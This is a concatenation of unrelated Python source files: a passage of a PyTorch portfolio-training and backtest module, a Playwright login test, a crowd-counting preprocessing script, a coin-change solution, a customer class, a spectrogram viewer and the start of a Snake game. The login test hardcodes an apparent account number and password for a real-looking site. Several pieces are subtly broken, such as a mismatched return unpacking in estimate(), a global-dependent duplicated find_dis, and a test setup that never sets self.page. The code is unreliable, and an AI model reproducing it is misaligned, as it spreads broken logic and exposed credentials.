            #     weights= torch.zeros((T-lookback,N),device=device)
            #     weights[(weights>quantilesTop) * (weights<quantilesBottom)] = weights[(weights>quantilesTop) * (weights<quantilesBottom)]
            #     weights= weights/(torch.sum(torch.abs(weights),axis=1)+0.0000001)
            # rets_train = torch.sum(weights*torch.tensor(data_train[lookback:,:],device=device),axis=1)

            # # sequential computation of weights
            # for t in range(lookback,data_dev.shape[0]):
            #     #idxs_selected = ~np.any(data_train[(t-lookback):t,:] == 0, axis = 0).ravel()
            #     #inputs = np.cumsum(data_train[(t-lookback):t,idxs_selected],axis=0).T #(N,T)
            #     #inputs = torch.tensor(inputs,device=device)
            #     #weights = model(inputs)
            #     weights = model(torch.tensor(windows[t-lookback,idxs_selected[t-lookback,:],:],device=device))
            #     abs_sum = torch.sum(torch.abs(weights))
            #     if abs_sum > 0:
            #         weights = weights/abs_sum
            #     rets_train = torch.sum(weights*torch.tensor(data_train[t,idxs_selected[t-lookback,:]],device=device)).reshape([1])
            #     if t == lookback:
            #         rets_train = rets_train
            #     else:
            #         rets_train = torch.cat((rets_train, rets_train))
            # #print(weights,weights.shape)
            # #print(abs_sum.shape)

            if residual_weights_train is None:
                rets_train = rets_train \
                  - trans_cost * torch.cat(
                        (torch.zeros(1, device=device),
                         torch.sum(torch.abs(weights[1:] - weights[:-1]), axis=1))) \
                  - hold_cost * torch.sum(torch.abs(torch.min(weights, torch.zeros(1, device=device))), axis=1)
            else:
                rets_train = rets_train \
                    - trans_cost * torch.cat(
                        (torch.zeros(1,device=device),
                         torch.sum(torch.abs(weights2[1:] - weights2[:-1]), axis=1))) \
                    - hold_cost * torch.sum(torch.abs(torch.min(weights2, torch.zeros(1, device=device))), axis=1)

            mean_ret = torch.mean(rets_train)
            std = torch.std(rets_train)
            if objective == "sharpe":
                loss = -mean_ret/std
            elif objective == "meanvar":
                loss = -mean_ret*252 + std*15.9
            elif objective == "sqrtMeanSharpe":
                loss = -torch.sign(mean_ret)*np.sqrt(np.abs(mean_ret))/std
            else:
                raise Exception(f"Invalid objective loss {objective}")

            if not already_trained and ((parallelize and model.module.is_trainable) or (not parallelize and model.is_trainable)):
                optimizer.zero_grad()
                loss.backward()
                optimizer.step()

            if residual_weights_train is None:
                weights = weights.detach().cpu().numpy()
            else:
                weights = weights2.detach().cpu().numpy()

            rets_full[batchsize*i:min(batchsize*(i+1),T-lookback)] = rets_train.detach().cpu().numpy()
            turnover[batchsize*i:(min(batchsize*(i+1),T-lookback)-1)] = np.sum(np.abs(weights[1:]-weights[:-1]),axis=1)
            turnover[min(batchsize*(i+1),T-lookback)-1] = turnover[min(batchsize*(i+1),T-lookback)-2]  # just to simplify things
            short_proportion[batchsize*i:min(batchsize*(i+1),T-lookback)] = np.sum(np.abs(np.minimum(weights,0)),axis=1)

        if log_dev_progress and epoch % log_dev_progress_freq == 0:
            dev_loss_description = ""
            if data_dev is not None:
                rets_dev,dev_loss,dev_sharpe,dev_turnovers,dev_short_proportions,weights_dev,a2t = \
                    get_returns(model,
                                preprocess = preprocess,
                                objective = objective,
                                data_test = data_dev,
                                device = device,
                                lookback = lookback,
                                trans_cost = trans_cost, hold_cost = hold_cost,
                                residual_weights = residual_weights_dev,)
                model.train()
                dev_mean_ret = np.mean(rets_dev)
                dev_std = np.std(rets_dev)
                dev_turnover  = np.mean(dev_turnovers)
                dev_short_proportion = np.mean(dev_short_proportions)
                dev_loss_description =  f", dev loss {-dev_loss:0.2f}, " \
                                        f"dev Sharpe: {-dev_sharpe*np.sqrt(252):0.2f}, " \
                                        f"ret: {dev_mean_ret*252:0.4f}, " \
                                        f"std: {dev_std*np.sqrt(252) :0.4f}, " \
                                        f"turnover: {dev_turnover:0.3f}, " \
                                        f"short proportion: {dev_short_proportion:0.3f}\n"

            full_ret = np.mean(rets_full)
            full_std = np.std(rets_full)
            full_sharpe = full_ret/full_std
            full_turnover = np.mean(turnover)
            full_short_proportion = np.mean(short_proportion)

            logging.info(f'Epoch: {epoch}/{num_epochs}, ' \
                         f'train Sharpe: {full_sharpe*np.sqrt(252):0.2f}, ' \
                         f'ret: {full_ret*252:0.4f}, ' \
                         f'std: {full_std*np.sqrt(252):0.4f}, ' \
                         f'turnover: {full_turnover:0.3f}, ' \
                         f'short proportion: {full_short_proportion:0.3f} \n' \
                          '       ' \
                         f' time per epoch: {(time.time()-begin_time)/(epoch+1):0.2f}s' \
                         + dev_loss_description)

            if early_stopping:
                if dev_loss < min_dev_loss:
                    patience = 0
                    min_dev_loss = dev_loss
                    checkpoint = {
                        'epoch': epoch,
                        'model_state_dict': model.state_dict(),
                        'optimizer_state_dict': optimizer.state_dict(),
                        'loss': loss
                    }
                    torch.save(checkpoint, os.path.join(output_path, f'Checkpoint-{model.random_seed}_seed_{model_tag}.tar'))
                else:
                    patience += 1
                    if trial == early_stopping_max_trials:
                        logging.info('Early stopping max trials reached')
                        break
                    else: # reduce learning rate
                        trial += 1
                        logging.info('Reducing learning rate')
                        lr = optimizer.param_groups[0]['lr'] * lr_decay
                        checkpoint = torch.load(os.path.join(output_path,\
                                                f'Checkpoint-{model.random_seed}_seed_{model_tag}.tar'),
                                                map_location=device)
                        model.load_state_dict(checkpoint['model_state_dict'])
                        model = model.to(device)
                        optimizer.load_state_dict(checkpoint['optimizer_state_dict'])
                        model.train()
                        for param_group in optimizer.param_groups:
                            param_group['lr'] = lr
                        patience = 0

#         if epoch == num_epochs-1 and data_dev is not None and log_dev_progress: # or (epoch % log_plot_freq == 0)
#             #cum_rets_train = np.cumprod(1+rets_train.detach().cpu().numpy())
#             plt.figure()
#             cum_rets_train = np.cumprod(1+rets_full)
#             cum_rets_dev = np.cumprod(1+rets_dev)
#             plt.plot(cum_rets_train,label='Train')
#             plt.plot(cum_rets_dev, label='Dev')
#             plt.title('Cumulative returns')
#             plt.legend()
#             plt.show()

#             plt.figure()
#             plt.plot(turnover,label='Train')
#             plt.plot(dev_turnovers, label='Dev')
#             plt.title('Turnover')
#             plt.legend()
#             plt.show()

#             plt.figure()
#             plt.plot(short_proportion,label='Train')
#             plt.plot(dev_short_proportions, label='Dev')
#             plt.title('Short proportion')
#             plt.legend()
#             plt.show()

        if already_trained: break

    if save_params and not already_trained:
        # can also save model.state_dict() directly w/o the dictionary; extension should then be .pth instead of .tar
        checkpoint = {
            'epoch': epoch,
            'model_state_dict': model.state_dict(),
            'optimizer_state_dict': optimizer.state_dict(),
            'loss': loss
        }
        checkpoint_fname = f'Checkpoint-{model.module.random_seed if parallelize else model.random_seed}_seed_'+model_tag+'.tar'
        torch.save(checkpoint, os.path.join(output_path, checkpoint_fname))

    logging.info(f'Training done - Model: {model_tag}, seed: {model.module.random_seed if parallelize else model.random_seed}')
    if data_dev is not None:
        return rets_dev, dev_turnovers, dev_short_proportions, weights_dev, a2t
    else:
        return rets_full, turnover, short_proportion, weights, assets_to_trade

def get_returns(model,
                preprocess,
                objective,
                data_test,
                lookback=30,
                trans_cost = 0,
                hold_cost = 0,
                residual_weights = None,
                load_params = False,
                paths_checkpoints = [None],
                device = None,
                parallelize=False,
                device_ids=[0,1,2,3,4,5,6,7],):

    if device is None: device = model.device
    if parallelize: model = nn.DataParallel(model, device_ids=device_ids).to(device)

    # restrict to assets which have at least `lookback` non-missing observations in the training period
    assets_to_trade = np.count_nonzero(data_test,axis=0) >= lookback
    logging.debug(f"get_returns(): assets_to_trade.shape {assets_to_trade.shape}")
    data_test = data_test[:,assets_to_trade]
    T,N = data_test.shape
    windows, idxs_selected = preprocess(data_test, lookback)

    rets_test = torch.zeros(T-lookback)
    #weightsTest = torch.zeros(N,device='cpu')
    #weightsComplete = np.zeros((T-lookback,len(assets_to_trade)))
    model.eval()

    with torch.no_grad():
        # # compute weights sequentially
        # for t in range(lookback,data_test.shape[0]):
        #     idxs_selected = ~np.any(data_test[(t-lookback):t,:] == 0, axis = 0).ravel()
        #     inputs = np.cumsum(data_test[(t-lookback):t,idxs_selected],axis=0).T #(N,T)
        #     inputs = torch.tensor(inputs,device=device)
        #     for i in range(len(paths_checkpoints)):  #This ensembles if many checkpoints are given
        #         if load_params:
        #             checkpoint = torch.load(paths_checkpoints[i],map_location = device)
        #             model.load_state_dict(checkpoint['model_state_dict'])
        #             model.to(device)
        #         weightsTest[idxs_selected] += model(inputs).cpu() #tensor.cpu() and tensor.to(torch.device('cpu')) is the same; you cannot transofrm to numpy from gpu
        #     weightsTest /= len(paths_checkpoints)
        #     abs_sum = torch.sum(torch.abs(weightsTest)) #Modify this for quantiles
        #     if abs_sum > 0:
        #         weightsTest /= abs_sum
        #     retsTest[t-lookback] = torch.sum(weightsTest[idxs_selected]*torch.tensor(data_test[t,idxs_selected],device='cpu'))
        #     #print(retsTest, retsTest.shape)

        weights = torch.zeros((T-lookback,N),device=device)
        for i in range(len(paths_checkpoints)):  #This ensembles if many checkpoints are given
            if load_params:
                checkpoint = torch.load(paths_checkpoints[i],map_location = device)
                model.load_state_dict(checkpoint['model_state_dict'])
                model.to(device)
            weights[idxs_selected] += model(torch.tensor(windows[idxs_selected],device=device))
        weights /= len(paths_checkpoints)
        if residual_weights is None:
            abs_sum = torch.sum(torch.abs(weights), axis=1, keepdim=True)
            logging.debug(f"get_returns(): weights abs_sum {abs_sum/len(weights)}")
        else:
            residual_weights = residual_weights[:,assets_to_trade]
            assert(weights.shape == residual_weights[lookback:T,:,0].shape)
            T1,N1 = weights.shape
            weights2 = torch.bmm(weights.reshape(T1,1,N1), torch.tensor(residual_weights[lookback:T],device=device)).squeeze()
            abs_sum = torch.sum(torch.abs(weights2), axis=1, keepdim=True)
            logging.debug(f"get_returns(): weights2 abs_sum {abs_sum/len(weights2)}")
            # abs_sum_w = torch.sum(torch.abs(weights), axis=1, keepdim=True)
            # logging.info(f"get_returns(): weights2 abs_sum {abs_sum/len(weights2)} weights abs_sum {abs_sum_w/len(weights)}")
            try: weights2 = weights2/abs_sum
            except: weights2 = weights2/(abs_sum + 1e-8)
        try: weights = weights/abs_sum
        except: weights = weights/(abs_sum + 1e-8)
        rets_test = torch.sum(weights * torch.tensor(data_test[lookback:T,:],device=device), axis=1)
        if residual_weights is not None:
            weights = weights2
        turnover = torch.cat((torch.zeros(1,device=device),torch.sum(torch.abs(weights[1:]-weights[:-1]),axis=1)))
        short_proportion = torch.sum(torch.abs(torch.min(weights,torch.zeros(1,device=device))),axis=1)
        rets_test = rets_test-trans_cost*turnover-hold_cost*short_proportion
        turnover[0] = torch.mean(turnover[1:])
        mean = torch.mean(rets_test)
        std =  torch.std(rets_test)
        sharpe = -mean/std
        loss = None
        if objective == "sharpe":
            loss = sharpe
        elif objective == "meanvar":
            loss = -mean*252 + std*15.9
        elif objective == "sqrtMeanSharpe":
            loss = -torch.sign(mean)*torch.sqrt(torch.abs(mean))/std
        else:
            raise Exception(f"Invalid objective loss {objective}")
    return (rets_test.cpu().numpy(), loss, sharpe, turnover.cpu().numpy(), short_proportion.cpu().numpy(), weights.cpu().numpy(),
           assets_to_trade)

def test(Data,
         daily_dates,
         model,
         preprocess,
         config,
         residual_weights = None,
         log_dev_progress_freq = 50, log_plot_freq = 199,
         num_epochs = 100, lr = 0.001, batchsize = 150,
         early_stopping = False,
         save_params = True,
         device = 'cuda',
         output_path = os.path.join(os.getcwd(), 'results', 'Unknown'), model_tag = 'Unknown',
         lookback = 30, retrain_freq = 250, length_training = 1000, rolling_retrain = True,
         parallelize = True,
         device_ids=[0,1,2,3,4,5,6,7],
         trans_cost=0, hold_cost = 0,
         force_retrain = False,
         objective = "sharpe",):

    # chooses assets which have at least #lookback non-missing observations in the training period
    assets_to_trade = np.count_nonzero(Data, axis=0) >= lookback
    logging.info(f"test(): assets_to_trade.shape {assets_to_trade.shape}")
    Data = Data[:,assets_to_trade]
    T,N = Data.shape
    returns = np.zeros(T-length_training)
    turnovers = np.zeros(T-length_training)
    short_proportions = np.zeros(T-length_training)
    all_weights = np.zeros((T-length_training, len(assets_to_trade)))
    # load assets_to_trade for weights
    if residual_weights is not None and 'FamaFrenchNew' in model_tag:
        assets_to_trade = np.load('residuals/famafrench-universe/assets-to-consider.npy')
        Data = Data[:,assets_to_trade]
        all_weights = np.zeros((T-length_training,len(assets_to_trade)))
    if residual_weights is not None and 'FamaFrench' in model_tag and 'New' not in model_tag:
        Ndifference = residual_weights.shape[2] - np.sum(assets_to_trade)
        if Ndifference > 0:
            all_weights = np.zeros((T-length_training, len(assets_to_trade) + Ndifference))
            assets_to_trade = np.append(assets_to_trade, np.ones(Ndifference, dtype=np.bool))
    if residual_weights is not None and ('IPCA' in model_tag or 'Deep' in model_tag):
        assets_to_trade = np.load('residuals/superMask.npy')
        all_weights = np.zeros((T-length_training, len(assets_to_trade)))

    # run train/test over dataset
    for t in range(int( (T-length_training) / retrain_freq ) + 1):
        logging.info(f'AT SUBPERIOD {t}/{int((T-length_training)/retrain_freq)+1}')
        # logging.info(f"{Data[initialTrain:length_training+(t)*retrain_freq].shape} {Data[length_training+t*retrain_freq:min(length_training+(t+1)*retrain_freq,T)].shape}")
        data_train_t = Data[t*retrain_freq:length_training+t*retrain_freq]
        data_test_t = Data[length_training+t*retrain_freq-lookback:min(length_training+(t+1)*retrain_freq,T)]
        residual_weights_train_t = None if residual_weights is None \
                                 else residual_weights[t*retrain_freq:length_training+t*retrain_freq]
        residual_weights_test_t = None if residual_weights is None \
                               else residual_weights[length_training+t*retrain_freq-lookback:min(length_training+(t+1)*retrain_freq,T)]
        model_tag_t = model_tag + f'__subperiod{t}'

        if rolling_retrain or t == 0:
            model_t = model(logdir=output_path, **config['model'])
            rets_t,turns_t,shorts_t,weights_t,a2t = train(model_t,
                                              preprocess = preprocess,
                                              data_train = data_train_t,
                                              data_dev = data_test_t,  # dev dataset isn't used as we don't do any validation tuning, so test dataset goes here for progress reporting
                                              residual_weights_train = residual_weights_train_t,
                                              residual_weights_dev = residual_weights_test_t,  # dev dataset isn't used as we don't do any validation tuning, so test dataset goes here for progress reporting
                                              log_dev_progress_freq = log_dev_progress_freq,
                                              num_epochs = num_epochs,
                                              force_retrain = force_retrain,
                                              optimizer_name = config['optimizer_name'],
                                              optimizer_opts = config['optimizer_opts'],
                                              early_stopping = early_stopping,
                                              save_params = save_params,
                                              output_path = output_path,
                                              model_tag = model_tag_t,
                                              device = device,
                                              lookback = lookback,
                                              log_plot_freq = log_plot_freq,
                                              parallelize = parallelize,
                                              device_ids = device_ids,
                                              batchsize = batchsize,
                                              trans_cost = trans_cost,
                                              hold_cost = hold_cost,
                                              objective = objective,)
            logging.debug("train() completed")
        else:
            rets_t,_,_,turns_t,shorts_t,weights_t,a2t = get_returns(model_t,
                                                        preprocess = preprocess,
                                                        objective = objective,
                                                        data_test = data_test_t,
                                                        residual_weights = residual_weights_test_t,
                                                        device = device,
                                                        lookback = lookback,
                                                        trans_cost = trans_cost,
                                                        hold_cost = hold_cost,)
            logging.debug("get_returns() completed")

        returns[t*retrain_freq:min((t+1)*retrain_freq,T-length_training)] = rets_t
        turnovers[t*retrain_freq:min((t+1)*retrain_freq,T-length_training)] = turns_t
        short_proportions[t*retrain_freq:min((t+1)*retrain_freq,T-length_training)] = shorts_t
        if residual_weights is None:
            w = np.zeros((min((t+1)*retrain_freq,T-length_training) - t*retrain_freq, len(a2t)))
            logging.debug(f"returned weights.shape {weights_t.shape}")
            w[:,a2t] = weights_t
        else:
            w = weights_t
        logging.debug(f"weights selected shape {all_weights[t*retrain_freq:min((t+1)*retrain_freq,T-length_training),assets_to_trade].shape}")
        logging.debug(f"sum(assets_to_trade) {np.sum(assets_to_trade)}")
        all_weights[t*retrain_freq:min((t+1)*retrain_freq,T-length_training),assets_to_trade] = w
        if 'cpu' not in device:
            with torch.cuda.device(device):
                torch.cuda.empty_cache()

    logging.info(f'TRAIN/TEST COMPLETE')
    cumRets = np.cumprod(1+returns)
    plt.figure()
    plt.plot_date(daily_dates[-len(cumRets):], cumRets, marker='None', linestyle='solid')
    plt.savefig(os.path.join(output_path, model_tag + "_cumulative-returns.png"))
    #plt.show()

    plt.figure()
    plt.plot_date(daily_dates[-len(cumRets):], turnovers, marker='None',linestyle='solid')
    plt.savefig(os.path.join(output_path, model_tag + "_turnover.png"))
    #plt.show()

    plt.figure()
    plt.plot_date(daily_dates[-len(cumRets):], short_proportions, marker='None',linestyle='solid')
    plt.savefig(os.path.join(output_path, model_tag + "_short-proportion.png"))
    #plt.show()

    np.save(os.path.join(output_path, 'WeightsComplete_' + model_tag + '.npy'), all_weights)

    full_ret = np.mean(returns)
    full_std = np.std(returns)
    full_sharpe = full_ret/full_std
    logging.info(f"==> Sharpe: {full_sharpe*np.sqrt(252) :.2f}, "\
                 f"ret: {full_ret*252 :.4f}, "\
                 f"std: {full_std*np.sqrt(252) :.4f}, "\
                 f"turnover: {np.mean(turnovers) :.4f}, "\
                 f"short_proportion: {np.mean(short_proportions) :.4f}")

    return returns, full_sharpe, full_ret, full_std, turnovers, short_proportions

def estimate(Data,
             daily_dates,
             model,
             preprocess,
             config,
             residual_weights = None,
             log_dev_progress_freq = 50, log_plot_freq = 199,
             num_epochs = 100, lr = 0.001, batchsize = 150,
             early_stopping = False,
             save_params = True,
             device = 'cuda',
             output_path = os.path.join(os.getcwd(), 'results', 'Unknown'), model_tag = 'Unknown',
             lookback = 30, length_training = 1000, test_size=125,
             parallelize = True,
             device_ids=[0,1,2,3,4,5,6,7],
             trans_cost=0, hold_cost = 0,
             force_retrain = True,
             objective = "sharpe",
             estimate_start_idx = 0,):

    # chooses assets which have at least #lookback non-missing observations in the training period
    assets_to_trade = np.count_nonzero(Data,axis=0) >= lookback
    Data = Data[:,assets_to_trade]
    T,N = Data.shape
    returns = np.zeros(length_training)
    turnovers = np.zeros(length_training)
    short_proportions = np.zeros(length_training)
    all_weights = np.zeros((length_training,len(assets_to_trade)))
    # load assets_to_trade for weights
    if residual_weights is not None and 'FamaFrenchNew' in model_tag:
        assets_to_trade = np.load('residuals/famafrench-universe/assets-to-consider.npy')
        Data = Data[:,assets_to_trade]
        all_weights= np.zeros((T-length_training,len(assets_to_trade)))
    if residual_weights is not None and 'Fama' in model_tag and 'New' not in model_tag:
        Ndifference = residual_weights.shape[2] - np.sum(assets_to_trade)
        if Ndifference>0:
            all_weights= np.zeros((length_training,len(assets_to_trade)+Ndifference))
            assets_to_trade = np.append(assets_to_trade,np.ones(Ndifference,dtype=np.bool))
    if residual_weights is not None and ('IPCA' in model_tag or 'Deep' in model_tag):
        assets_to_trade = np.load('residuals/superMask.npy')
        all_weights= np.zeros((length_training,len(assets_to_trade)))

    # estimate over dataset
    logging.info(f"ESTIMATING {estimate_start_idx}:{min(estimate_start_idx+length_training,T)}")
    logging.info(f"TESTING {estimate_start_idx+length_training-lookback}:{min(estimate_start_idx+length_training+test_size,T)}")
    data_train = Data[estimate_start_idx:min(estimate_start_idx+length_training,T)]
    data_dev = Data[estimate_start_idx+length_training-lookback:min(estimate_start_idx+length_training+test_size,T)]
    residual_weights_train = None if residual_weights is None \
                           else residual_weights[estimate_start_idx:min(estimate_start_idx+length_training,T)]
    residual_weights_dev = None if residual_weights is None \
                         else residual_weights[estimate_start_idx+length_training-lookback:min(estimate_start_idx+length_training+test_size,T)]
    del residual_weights
    del Data
    model_tag = model_tag + f'__estimation{estimate_start_idx}-{length_training}-{test_size}'

    model1 = model(logdir=output_path, **config['model'])
    rets,turns,shorts,weights = train(model1,
                                      preprocess = preprocess,
                                      data_train = data_train,
                                      data_dev = data_dev,
                                      residual_weights_train = residual_weights_train,
                                      residual_weights_dev = residual_weights_dev,
                                      log_dev_progress_freq = log_dev_progress_freq,
                                      num_epochs = num_epochs,
                                      force_retrain = force_retrain,
                                      lr = lr,
                                      early_stopping = early_stopping,
                                      save_params = save_params,
                                      output_path = output_path,
                                      model_tag = model_tag,
                                      device = device,
                                      lookback = lookback,
                                      log_plot_freq = log_plot_freq,
                                      parallelize = parallelize,
                                      device_ids = device_ids,
                                      batchsize = batchsize,
                                      trans_cost = trans_cost,
                                      hold_cost = hold_cost,
                                      objective = objective,)

    returns = rets
    turnovers = turns
    short_proportions = shorts
    all_weights= weights
    if 'cpu' not in device:
        with torch.cuda.device(device):
            torch.cuda.empty_cache()

    logging.info(f'ESTIMATION COMPLETE')

    np.save(os.path.join(output_path, 'WeightsComplete_' + model_tag + '.npy'), all_weights)

    full_ret = np.mean(returns)
    full_std = np.std(returns)
    full_sharpe = full_ret/full_std
    logging.info(f"==> Sharpe: {full_sharpe*np.sqrt(252) :.2f}, "\
                 f"ret: {full_ret*252 :.4f}, "\
                 f"std: {full_std*np.sqrt(252) :.4f}, "\
                 f"turnover: {np.mean(turnovers) :.4f}, "\
                 f"short_proportion: {np.mean(short_proportions) :.4f}")

    return returns, full_sharpe, full_ret, full_std, turnovers, short_proportions


# Python版本：3.7
# -*- coding:utf-8 -*-
import time

import playwright
from playwright.sync_api import sync_playwright
import pytest

def login(self):
    # Go to https://account.dangquyun.com/useridentity/Account/Login
    self.page.goto("https://account.dangquyun.com/useridentity/Account/Login")
    time.sleep(3)
    # Click input[name="Account"]
    self.page.locator("input[name=\"Account\"]").click()
    # Fill input[name="Account"]
    self.page.locator("input[name=\"Account\"]").fill("13777207532")
    # Press Tab
    self.page.locator("input[name=\"Account\"]").press("Tab")
    # Fill input[name="Password"]
    self.page.locator("input[name=\"Password\"]").fill("123456abcde")
    # Click button:has-text("登录")
    with self.page.expect_navigation():
        self.page.locator("button:has-text(\"登录\")").click()
    time.sleep(5)

class TestHR():
    def setup(self):
        playwright = sync_playwright().start()
        iphone = playwright.devices["iPhone 12"]
        browser = playwright.chromium.launch(headless=False)
        context = browser.new_context(**iphone)
        page = context.new_page()
        page.goto("http://m.test.powertradepro.com")
        print(page.context)
        # other actions...
        time.sleep(5)
        browser.close()

    def test_QC(self):
        print('123')

    def teardown(self):
        time.sleep(10)
        self.page.close()

from playwright.sync_api import sync_playwright
import time


from scipy.io import loadmat
from PIL import Image
import numpy as np
import os
from glob import glob
import cv2
import argparse
from matplotlib import pyplot as plt

def cal_new_size(im_h, im_w, min_size, max_size):
    if im_h < im_w:
        if im_h < min_size:
            ratio = 1.0 * min_size / im_h
            im_h = min_size
            im_w = round(im_w*ratio)
        elif im_h > max_size:
            ratio = 1.0 * max_size / im_h
            im_h = max_size
            im_w = round(im_w*ratio)
        else:
            ratio = 1.0
    else:
        if im_w < min_size:
            ratio = 1.0 * min_size / im_w
            im_w = min_size
            im_h = round(im_h*ratio)
        elif im_w > max_size:
            ratio = 1.0 * max_size / im_w
            im_w = max_size
            im_h = round(im_h*ratio)
        else:
            ratio = 1.0
    return im_h, im_w, ratio

def find_dis(point):
    square = np.sum(point*points, axis=1)
    dis = np.sqrt(np.maximum(square[:, None] - 2*np.matmul(point, point.T) + square[None, :], 0.0))
    dis = np.mean(np.partition(dis, 3, axis=1)[:, 1:4], axis=1, keepdims=True)
    return dis

def generate_data(im_path):
    img = plt.imread(im_path)
    im_h,im_w = img.shape[0],img.shape[1]
    gtData = open(im_path.replace('.JPG','.txt'), 'r').readlines()
    points=[]
    for gtline in gtData:
        a = gtline.split(' ')
        points.append([round(float(a[1]),6)*float(im_w), round(float(a[2]),6)*float(im_h)])
    points = np.array(points).astype(np.float32)
    idx_mask = (points[:, 0] >= 0) * (points[:, 0] <= im_w) * (points[:, 1] >= 0) * (points[:, 1] <= im_h)
    points = points[idx_mask]
    im_h, im_w, rr = cal_new_size(im_h, im_w, min_size, max_size)
    im = np.array(img)
    if rr != 1.0:
        im = cv2.resize(np.array(im), (im_w, im_h), cv2.INTER_CUBIC)
        points = points * rr
    return Image.fromarray(im), points

def find_dis(point):
    square = np.sum(point*points, axis=1)
    dis = np.sqrt(np.maximum(square[:, None] - 2*np.matmul(point, point.T) + square[None, :], 0.0))
    dis = np.mean(np.partition(dis, 3, axis=1)[:, 1:4], axis=1, keepdims=True)
    return dis

def parse_args():
    parser = argparse.ArgumentParser(description='Test')
    parser.add_argument('--origin-dir', default=r'.\carDataset\CARKP\DA-after',
                        help='original data directory')
    args = parser.parse_args()
    return args

if __name__ == '__main__':
    args = parse_args()
    min_size = 256
    max_size = 10000

    for phase in ['train', 'val']:
        dir = os.path.join(args.origin_dir, phase)
        files = os.listdir(dir)
        img_paths = []
        for filename in files:
            portion = os.path.splitext(filename)
            if portion[1] == '.JPG':
                img_paths.append(os.path.join(dir, filename))
        for im_path in img_paths:
            im, points = generate_data(im_path)
            im.save(im_path)
            if phase == 'train':
                gd_save_path = im_path.replace('JPG', 'npy')
                dis = find_dis(points)
                points = np.concatenate((points, dis), axis=1)
                np.save(gd_save_path, points)
            else:
                gd_save_path = im_path.replace('JPG', 'npy')
                np.save(gd_save_path, points)


# -*- coding: utf-8 -*-
"""
    CreatedDate: 2022-07-13
    FileName   : coinChange.py
    Author     : Honghe
    Descreption: 322. 零钱兑换
"""
from typing import List

class Solution:
    def coinChange(self, coins: List[int], amount: int) -> int:
        length = len(coins)
        dp = [[float("inf")]*(length+1) for _ in range(amount+1)]
        for i in range(amount+1):
            for j in range(length+1):
                if i==0:
                    dp[i][j]=0
                    continue
                if j==0:
                    continue
                if coins[j-1]==i:
                   dp[i][j] = 1
                elif coins[j-1]<i:
                    dp[i][j] = min(dp[i][j-1],dp[i-coins[j-1]][j]+1)
                else:
                    dp[i][j] = dp[i][j-1]
        return dp[-1][-1] if dp[-1][-1]!=float("inf") else -1

    def coinChange2(self, coins: List[int], amount: int) -> int:
        dp = [float("inf")]*(amount+1)
        dp[0] = 0
        for i in range(1,amount+1):
            for j in coins:
                if i>=j:
                    dp[i] = min(dp[i],dp[i-j]+1)
        return dp[-1] if dp[-1]!=float("inf") else -1

if __name__ == '__main__':
    sol = Solution()
    coins = [5,1,2]
    amount = 11
    print(sol.coinChange2(coins,amount))


class Cliente(object):
    def __init__(self, nome='', idade=0, sexo='', rua='', numero='', bairro='', cidade='',
                 estado='', cep='', referencia='', enabled=True):
        self.nome = nome
        self.idade = idade
        self.sexo = sexo
        self.endereco = self.asdict(rua, numero, bairro, cidade, estado, cep, referencia)
        self.enabled = enabled

    @staticmethod
    def asdict(rua, numero, bairro, cidade, estado, cep, referencia):
        return {'rua': rua, 'numero': numero, 'bairro': bairro,
                'cidade': cidade, 'estado': estado, 'cep': cep,
                'referencia': referencia}

    @staticmethod
    def from_dict(source):
        return Cliente(source['nome'], source['idade'], source['sexo'],
                       source['endereco']['rua'], source['endereco']['numero'],
                       source['endereco']['bairro'], source['endereco']['cidade'],
                       source['endereco']['estado'], source['endereco']['cep'],
                       source['endereco']['referencia'], source['enabled'])

    def __str__(self):
        return '{\n' \
               f'  nome: {self.nome},\n' \
               f'  idade: {self.idade},\n' \
               f'  sexo: {self.sexo},\n' \
               f'  enabled: {self.enabled},\n' \
               '  endereco: {\n' \
               f'      rua: {self.endereco["rua"]},\n' \
               f'      numero: {self.endereco["numero"]},\n' \
               f'      bairro: {self.endereco["bairro"]},\n' \
               f'      cidade: {self.endereco["cidade"]},\n' \
               f'      estado: {self.endereco["estado"]},\n' \
               f'      cep: {self.endereco["cep"]},\n' \
               f'      referencia: {self.endereco["referencia"]},\n' \
               '   },\n' \
               '}\n'


"""
This script takes an audio file and turns it into a series of spectrograms that you can
look at and see if they look good or not.

This is useful for tuning the spectrogram providing function to provide spectrograms
that are likely to be the right dimensions, windowing function, etc. to make learning
useful features from them easier.
"""
import audiosegment as asg
import matplotlib.pyplot as plt
import numpy as np
import os
import sys

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Need path to test audio file")
        exit(1)
    elif not os.path.isfile(sys.argv[1]):
        print("Need a valid path")
        exit(2)

    #################################################################
    # Here are the configurations that you should tune to your liking
    #################################################################
    # Resampling
    sample_rate_hz  = 8000.0    # 16kHz sample rate
    bytewidth       = 2          # 16-bit samples
    nchannels       = 1          # mono

    # Spectrogram
    duration_s      = 0.30        # Duration of each complete spectrogram
    window_length_s = 0.020       # How long each FFT is
    overlap         = 0.2        # How much each FFT overlaps with each other one

    # Track
    first_start_s   = 14          # Where in the track should we start grabbing spectrograms?
    #################################################################

    # Load the audio file into an AudioSegment
    seg = asg.from_file(sys.argv[1])
    seg = seg.resample(sample_rate_Hz=sample_rate_hz, sample_width=bytewidth, channels=nchannels)

    nspectrograms = 4
    for i in range(1, nspectrograms + 1):
        idx = i - 1
        start_s = idx * duration_s + first_start_s
        frequencies, times, amplitudes = seg.spectrogram(start_s, duration_s, window_length_s=window_length_s, overlap=overlap)
        print("Fs, ts, amps:", frequencies.shape, times.shape, amplitudes.shape)

        # Log the amplitudes to help with contrast
        #amplitudes = 10 * np.log10(amplitudes + 1e-9)

        # Plot into a subplot
        subplotidx = 100 + (nspectrograms * 10) + i
        plt.subplot(subplotidx)
        plt.pcolormesh(times, frequencies, amplitudes)

    ## Now finally show the spectrograms
    plt.show()


import pygame
import random

pygame.init()
random.seed()

#constants
BLACK = (0,0,0)
WHITE = (255,255,255)
WHITE_BLOCK = 0
RED = (255,0,0)
GREEN = (0,255,0)
GREEN_BLOCK = 1
WIN_H = 500
ROWS = 25
WIN_W = 500
COLS = 25
BLOCK_W = 20
BLOCK_H = 20
MARGIN = 1
SNAKE_BLOCK = 2
UP = 1
DOWN = 2
LEFT = 3
RIGHT = 4

#Setting up the window
board = pygame.display.set_mode((WIN_H,WIN_W))
pygame.display.set_caption("Snake")
icon = pygame.image.load("snake.png")
pygame.display.set_icon(icon)

#Snake class
class Snake():
#This class contains the variables associated with a snake

    length = 0

    #start the snake in the middle of the grid
    x_coord = COLS // 2
    y_coord = ROWS // 2

    #(row = y, column = x)
    coords = [[y_coord,x_coord]]

    #initialize the corresponding grid value
    def __init__(self, grid):
        grid[ROWS // 2][COLS // 2] = SNAKE_BLOCK
